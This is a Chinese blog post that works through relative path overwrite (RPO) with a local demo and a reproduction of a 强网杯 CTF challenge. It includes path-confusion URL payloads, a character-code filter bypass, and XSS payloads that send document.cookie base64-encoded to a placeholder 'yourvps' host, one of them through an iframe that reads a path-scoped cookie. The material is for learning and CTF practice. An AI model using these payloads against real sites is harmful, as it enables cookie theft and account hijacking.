rpo学习

作者: R1ka | 来源:发表于2018-03-29 21:49 被阅读0次

原理:相对路径覆盖
Ex.简单引用其他目录下的js
1.php

<?php
 echo "alert(1)";
?>
<script src="alert.js"></script>
image.png

目标js:


image.png

payload:

http://127.0.0.1/rpo/222%2f1.php%2f..%2f..%2f1%2f1.php

正常情况下:

image.png
成功引用:
image.png
payload分析:
服务器端会将payload解析为http://127.0.0.1/rpo/222/1.php/../../1/1.php
最终url还是指向http://127.0.0.1/rpo/1/1.php
而客户端会将payload中的{222%2f1.php%2f..%2f..%2f1%2f1.php}当成一个字符串处理,相当于访问http://127.0.0.1/rpo/string 而服务器返回的信息中1.php的引用js代码为{<script src="alert.js"></script>}即1.php同目录下的alert.js ,但客户端理解为string同目录下的alert.js即{alert(2)}.
2.跟着writeup 的 强网杯 share your mind 复现

查看源代码:


1

留言:


2
构造payload:
http://39.107.33.96:20000/index.php/view/article/2298/..%2f..%2f..%2f..%2findex.php

why?
由图一可知index.php会引用同级的static/js/jquery.min.js
而我们构造的payload相当于引用http://39.107.33.96:20000/index.php/view/article/2298/static/js/jquery.min.js
可知static/js/jquery.min.js不存在,浏览器会认为http://39.107.33.96:20000/index.php/view/article/2298的内容为static/js/jquery.min.js文件的内容即{alert(1)}
成功引用:

image.png
剩下的就是提交url等着vps接收cookie了
留言:
b=document.cookie;a="<img src=yourvps"+btoa(b)+">";document.write(a);

其中单引号和双引号会被html编码
所以用eval(String.fromCharCode(97))绕过


image.png

收到cookie base64解码:HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
payload:

var i = document.createElement("iframe");
i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);
i.addEventListener( "load", function(){
  var content = i.contentWindow.document.cookie;
  location='//yourvps/'+btoa(content);
}, false);
image.png

解码:


image.png

总结:
rpo真是思路清奇啊!

相关文章

  • rpo学习

    原理:相对路径覆盖Ex.简单引用其他目录下的js1.php 目标js: payload: 正常情况下: 查看源代码...

  • RPO攻击学习

    最近在ctf题上看到了关于RPO攻击的利用,但是在网上找了好几篇博客都是看的似懂非懂的,不知道如何去利用,但是还是...

  • RPO攻击

    最近在强网杯上遇到RPO的题,懵逼好久。 0x00概述 浏览器解析页面路径有误而导致css文件加载路径错误,从而引...

  • RPO总结

    关于RPO渠道的选择,算是招聘的一项基本功。纵观这一年来和RPO渠道的对接,写一些总结,便于不断完善和提升。 一、...

  • 招聘岗位:RPO项目经理

    招聘岗位:RPO项目经理 工作地宁波或杭州 有意向具体私聊 联系人:丫头Clover 重点职责: 1、制定RPO委...

  • 控件

    一、筛选 B端产品如HRO(Human Resources Outsourcing,人力资源外包)、RPO(Rec...

  • 34c3ctf-urlstorage复现

    拿34c3ctf的一道题学习一下rpo漏洞和django的配置 测试环境 Github上的一个CTF题目的源码,利...

  • 【产品常识】运维小知识

    一、RTO及RPO区别 RTO(Recovery Time Objective,复原时间目标)是企业可容许服务中断...

  • RPO相对路径覆盖攻击

    强网杯Show your mind学习到了一个新的知识点,复现过程很有意思,总结一篇文章 0x1定义 RPO(Re...

  • RPO攻击导致的XSS

    以2018强网杯share your mind为例 RPO攻击相关的文章http://blog.nsfocus.n...

网友评论

    本文标题:rpo学习

    本文链接:https://www.haomeiwen.com/subject/ogyvcftx.html